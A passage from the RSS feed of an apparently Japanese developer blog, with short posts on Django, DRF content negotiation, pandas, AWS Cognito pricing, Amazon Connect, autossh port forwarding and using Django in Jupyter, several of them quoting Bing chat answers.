&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="bing"&gt;Bing&lt;/h2&gt;
&lt;p&gt;Djangoのクエリセットで、別のテーブルのフィールドの合計値をSubqueryを使ってannotateすることができます¹。以下は、例です。&lt;/p&gt;</description></item><item><title>DRF: Content Negotiation</title><link>https://hdknr.github.io/blogs/posts/2023/05/drf-content-negotiation/</link><pubDate>Fri, 12 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/drf-content-negotiation/</guid><description>&lt;h2 id="drf-content-negotiation"&gt;DRF: Content Negotiation&lt;/h2&gt;
&lt;h3 id="defaultcontentnegotiation"&gt;DefaultContentNegotiation&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;content_negotiation_class&lt;/code&gt;をカスタマイズするには、以下のようにします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; rest_framework.negotiation &lt;span style="color:#f92672"&gt;import&lt;/span&gt; DefaultContentNegotiation
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MyContentNegotiation&lt;/span&gt;(DefaultContentNegotiation):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;select_renderer&lt;/span&gt;(self, request, renderers, format_suffix&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ここに処理を書きます。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;上記の例では、&lt;code&gt;DefaultContentNegotiation&lt;/code&gt;を継承しています。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;select_renderer()&lt;/code&gt;メソッドには、レンダラーを選択するための処理を書きます。
このメソッドは、リクエストオブジェクト、レンダラーのリスト、およびフォーマットサフィックスを引数として受け取ります。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/12&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) Content negotiation - Django REST framework. &lt;a href="https://www.django-rest-framework.org/api-guide/content-negotiation/"&gt;https://www.django-rest-framework.org/api-guide/content-negotiation/&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) Django REST Framework - Content negotiation - HTTPは &amp;hellip;. &lt;a href="https://runebook.dev/ja/docs/django_rest_framework/api-guide/content-negotiation/index"&gt;https://runebook.dev/ja/docs/django_rest_framework/api-guide/content-negotiation/index&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) Django REST framework カスタマイズ方法 - チュートリアルの補足. &lt;a href="https://qiita.com/okoppe8/items/c58bb3faaf26c9e2f27f"&gt;https://qiita.com/okoppe8/items/c58bb3faaf26c9e2f27f&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="viewsetでの設定"&gt;ViewSetでの設定&lt;/h3&gt;
&lt;p&gt;ViewSetごとに&lt;code&gt;content_negotiation_class&lt;/code&gt;を設定することができます。&lt;/p&gt;</description></item><item><title>pandas: カラム連結</title><link>https://hdknr.github.io/blogs/posts/2023/05/pandas-%E3%82%AB%E3%83%A9%E3%83%A0%E9%80%A3%E7%B5%90/</link><pubDate>Thu, 11 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/pandas-%E3%82%AB%E3%83%A9%E3%83%A0%E9%80%A3%E7%B5%90/</guid><description>&lt;h2 id="pandas-カラム連結"&gt;pandas: カラム連結&lt;/h2&gt;
&lt;p&gt;pandasで数値カラム同士を文字列に変換するには、&lt;/p&gt;
&lt;p&gt;&lt;code&gt;df['新しい列名'] = df['数値カラム1名'].astype(str) + df['数値カラム2名'].astype(str)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;と書くことができます。&lt;/p&gt;
&lt;p&gt;例えば、以下のようになります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; pandas &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; pd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;df &lt;span style="color:#f92672"&gt;=&lt;/span&gt; pd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DataFrame({&lt;span style="color:#e6db74"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;: [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;], &lt;span style="color:#e6db74"&gt;&amp;#39;B&amp;#39;&lt;/span&gt;: [&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;]})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;df[&lt;span style="color:#e6db74"&gt;&amp;#39;C&amp;#39;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; df[&lt;span style="color:#e6db74"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;astype(str) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; df[&lt;span style="color:#e6db74"&gt;&amp;#39;B&amp;#39;&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;astype(str)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(df)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;出力:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; A B C
0 1 3 13
1 2 4 24
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;以上のように、&lt;code&gt;df['新しい列名'] = df['数値カラム1名'].astype(str) + df['数値カラム2名'].astype(str)&lt;/code&gt; を使って、2つの数値の列を文字列に変換してから連結して新しい列を追加することができます。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/11&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) python - dataframe内の数値から文字列に変換する方法 - スタック &amp;hellip;. &lt;a href="https://ja.stackoverflow.com/questions/74518/dataframe%e5%86%85%e3%81%ae%e6%95%b0%e5%80%a4%e3%81%8b%e3%82%89%e6%96%87%e5%ad%97%e5%88%97%e3%81%ab%e5%a4%89%e6%8f%9b%e3%81%99%e3%82%8b%e6%96%b9%e6%b3%95"&gt;https://ja.stackoverflow.com/questions/74518/dataframe%e5%86%85%e3%81%ae%e6%95%b0%e5%80%a4%e3%81%8b%e3%82%89%e6%96%87%e5%ad%97%e5%88%97%e3%81%ab%e5%a4%89%e6%8f%9b%e3%81%99%e3%82%8b%e6%96%b9%e6%b3%95&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) 【Pandas】DataFrameから文字列と数値データのcolumnを分ける. &lt;a href="https://mochablog.org/pandas-saparate-numerical-col/"&gt;https://mochablog.org/pandas-saparate-numerical-col/&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>## Cognite(MAU=5,000) Show calculations</title><link>https://hdknr.github.io/blogs/posts/2023/05/%23%23-cognitemau5000-show-calculations/</link><pubDate>Mon, 08 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/%23%23-cognitemau5000-show-calculations/</guid><description>&lt;h2 id="cognitemau5000-show-calculations"&gt;Cognite(MAU=5,000) Show calculations&lt;/h2&gt;
&lt;p&gt;MAU = 5,000&lt;/p&gt;
&lt;h3 id="unit-conversions"&gt;Unit conversions&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Percent of monthly users who sign in through SAML or OIDC federation: 10 / 100 = 0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="pricing-calculations"&gt;Pricing calculations&lt;/h3&gt;
&lt;h4 id="saml-or-oidc-federation-cost-monthly"&gt;SAML or OIDC federation cost (monthly)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;5,000 MAUs x 0.10 SAML or OIDC federation requests = 500.00 SAML or OIDC federation MAU requests
500.00 SAML or OIDC federation MAUs - 50 free SAML or OIDC federation MAU requests per month = 450.00 billable SAML or OIDC federation MAU requests
Max (450.00 billable SAML or OIDC federation MAU requests, 0 minimum billable SAML or OIDC federation MAU requests) = 450 total billable SAML or OIDC federation MAU requests
450 MAUs x 0.015 USD = 6.75 USD (SAML or OIDC federation MAU requests)
SAML or OIDC federation cost (monthly): 6.75 USD
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id="user-pool-mau-cost-monthly"&gt;User Pool MAU cost (monthly)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;5,000 MAUs - 50000 free MAU requests per month = -45,000.00 billable MAU requests
Max (-45000.000000 billable MAU requests, 0 Constant Unit) = 0.00 total billable MAU requests
Tiered price for: 0.00 MAUs
Total tier cost = 0.00 USD (User Pool MAUs)
User Pool MAU cost (monthly): 0.00 USD
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id="advanced-security-feature-cost-monthly"&gt;Advanced security feature cost (monthly)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;5,000 MAUs x 1 Advanced security features option enabled = 5,000.00 Advanced security feature MAUs
Tiered price for: 5000.00 MAUs
5000 MAUs x 0.0500000000 USD = 250.00 USD
Total tier cost = 250.00 USD (ASF MAUs)
Advanced security feature cost (monthly): 250 USD
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id="cognito-mau-cost-monthly"&gt;Cognito MAU cost (monthly)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;250 USD + 6.75 USD = 256.75 USD
Cognito MAU cost (monthly): 256.75 USD
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>AWS Connect CCP</title><link>https://hdknr.github.io/blogs/posts/2023/05/aws-connect-ccp/</link><pubDate>Mon, 08 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/aws-connect-ccp/</guid><description>&lt;h1 id="aws-connect-ccpcontact-control-panel"&gt;AWS Connect: CCP(Contact Control Panel)&lt;/h1&gt;
&lt;p&gt;Contact Control Panel とは、Amazon Connect 問い合わせコントロールパネル (CCP) を使用して問い合わせと通信するための GUI の機能です ²。
エージェントが CCP にアクセスし、問い合わせを処理できるようになる前に、行わなければならない操作がいくつかあります ³。&lt;/p&gt;
&lt;p&gt;ご参考になれば幸いです。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/8&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) 問い合わせコントロールパネルへのアクセスを提供する - Amazon &amp;hellip;. &lt;a href="https://docs.aws.amazon.com/ja_jp/connect/latest/adminguide/amazon-connect-contact-control-panel.html"&gt;https://docs.aws.amazon.com/ja_jp/connect/latest/adminguide/amazon-connect-contact-control-panel.html&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) Provide access to the Contact Control Panel - Amazon Connect. &lt;a href="https://docs.aws.amazon.com/connect/latest/adminguide/amazon-connect-contact-control-panel.html"&gt;https://docs.aws.amazon.com/connect/latest/adminguide/amazon-connect-contact-control-panel.html&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) 【Amazon Connect】在宅コールセンター向けに CCP（発着信 &amp;hellip;. &lt;a href="https://qiita.com/duplicate1984/items/3a4d93a2e9bb5fcf54d1"&gt;https://qiita.com/duplicate1984/items/3a4d93a2e9bb5fcf54d1&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;資料:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.ntt.com/business/lp/amazon-connect.html"&gt;Amazon Connect とは？ 導入前に知っておきたい機能・料金・注意点と事例&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="google-ログイン"&gt;Google ログイン&lt;/h2&gt;
&lt;p&gt;AWS Connect に Google ユーザーを紐付けることは可能です。
ただし、紐付ける前に、AWS Cognito 単体で、ユーザ ID のサインアップ（ユーザ登録）・サインイン（ログイン）ができるようにする必要があります ³。&lt;/p&gt;
&lt;p&gt;また、外部で認証されたユーザー（ID フェデレーション）へのアクセス権限を付与することもできます ¹。&lt;/p&gt;
&lt;p&gt;ご参考になれば幸いです。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/8&lt;/p&gt;</description></item><item><title>autossh</title><link>https://hdknr.github.io/blogs/posts/2023/05/autossh/</link><pubDate>Fri, 05 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/autossh/</guid><description>&lt;h1 id="autossh"&gt;autossh&lt;/h1&gt;
&lt;p&gt;autossh は、ssh 接続が切断された場合に自動的に再接続してくれるプログラムです。&lt;/p&gt;
&lt;p&gt;autossh を使用すると、ssh サービスを開始し、監視することができます。&lt;/p&gt;
&lt;p&gt;プログラムの問題やネットワークの問題が発生した場合、ssh サービスを再起動できます。¹²³&lt;/p&gt;
&lt;p&gt;以下のように使用します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;autossh -M &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; -N -f -o &lt;span style="color:#e6db74"&gt;&amp;#34;ServerAliveInterval 30&amp;#34;&lt;/span&gt; -o &lt;span style="color:#e6db74"&gt;&amp;#34;ServerAliveCountMax 3&amp;#34;&lt;/span&gt; -R 8080:localhost:80 user@remote_host
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この例では、リモートホスト上でポート 8080 を開き、ローカルホストのポート 80 に転送します。⁴&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/5&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) 用 autossh 工具进行端口转发 - 腾讯云开发者社区-腾讯云. &lt;a href="https://cloud.tencent.com/developer/article/1836005"&gt;https://cloud.tencent.com/developer/article/1836005&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) autossh 工具进行端口转发 - 简书. &lt;a href="https://www.jianshu.com/p/ae2cd8d9a368"&gt;https://www.jianshu.com/p/ae2cd8d9a368&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) 用 autossh 工具进行端口转发 | Escape. &lt;a href="https://www.escapelife.site/posts/e6647650.html"&gt;https://www.escapelife.site/posts/e6647650.html&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(4) ssh 接続を維持し続ける autossh の使い方 &amp;ndash; ぺけみさお - xmisao. &lt;a href="https://www.xmisao.com/2013/07/16/autossh-how-to.html"&gt;https://www.xmisao.com/2013/07/16/autossh-how-to.html&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(5) CentOS で autossh を systemd service として動かす - Qiita. &lt;a href="https://qiita.com/sandopan65/items/e21bdf710ac70f691e21"&gt;https://qiita.com/sandopan65/items/e21bdf710ac70f691e21&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(6) autossh と ssh ポートフォワードでルータ内のマシンにアクセスする &amp;hellip;. &lt;a href="https://qiita.com/wf9a5m75/items/a78262532ac4823104f0"&gt;https://qiita.com/wf9a5m75/items/a78262532ac4823104f0&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ポートフォワード-l--r--d"&gt;ポートフォワード　(&lt;code&gt;-L&lt;/code&gt;, &lt;code&gt;-R&lt;/code&gt;, &lt;code&gt;-D&lt;/code&gt;)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-L&lt;/code&gt; : ローカル -&amp;gt; リモート&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-R&lt;/code&gt; : リモート -&amp;gt; ローカル&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-D&lt;/code&gt; : ダイナミック(&lt;code&gt;SOCKS&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-n"&gt;&lt;code&gt;-N&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;-N オプションは、ssh 接続を開始して、リモートシェルを実行しないようにします。¹²³&lt;/p&gt;</description></item><item><title>jupyter: Django</title><link>https://hdknr.github.io/blogs/posts/2023/05/jupyter-django/</link><pubDate>Fri, 05 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/jupyter-django/</guid><description>&lt;h2 id="jupyter-django"&gt;Jupyter: Django&lt;/h2&gt;
&lt;h3 id="準備"&gt;準備&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;django_extensions , notebookを入れておく&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;settgins.py:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSTALLED_APPS &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;django_extensions&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="vscode"&gt;VSCode&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;VSCodeでJupyterのPythonランタイムを選んでから以下を実行する&lt;/li&gt;
&lt;li&gt;環境変数で、&lt;code&gt;DJANGO_ALLOW_ASYNC_UNSAFE=true&lt;/code&gt; をセットしておく(.envとか)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; sys&lt;span style="color:#f92672"&gt;,&lt;/span&gt; os&lt;span style="color:#f92672"&gt;,&lt;/span&gt; django
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BASE_DIR &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;path_ot_manage_py&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sys&lt;span style="color:#f92672"&gt;.&lt;/span&gt;path&lt;span style="color:#f92672"&gt;.&lt;/span&gt;insert(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, BASE_DIR)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;os&lt;span style="color:#f92672"&gt;.&lt;/span&gt;environ&lt;span style="color:#f92672"&gt;.&lt;/span&gt;setdefault(&lt;span style="color:#e6db74"&gt;&amp;#34;DJANGO_SETTINGS_MODULE&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;app.settings&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;django&lt;span style="color:#f92672"&gt;.&lt;/span&gt;setup()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="リモートサーバー"&gt;リモートサーバー&lt;/h3&gt;
&lt;h4 id="autossh-でポートフォワード"&gt;autossh でポートフォワード&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;PCの &lt;code&gt;8.8.8.8&lt;/code&gt; -&amp;gt; リモート(&lt;code&gt;EC2&lt;/code&gt;とか)の &lt;code&gt;8.8.8.8&lt;/code&gt; にフォワードする:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;autossh -M &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; -F .secrets/ssh.ec2.conf server -N -L 8888:localhost:8888 -4
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="カーネル起動"&gt;カーネル起動&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
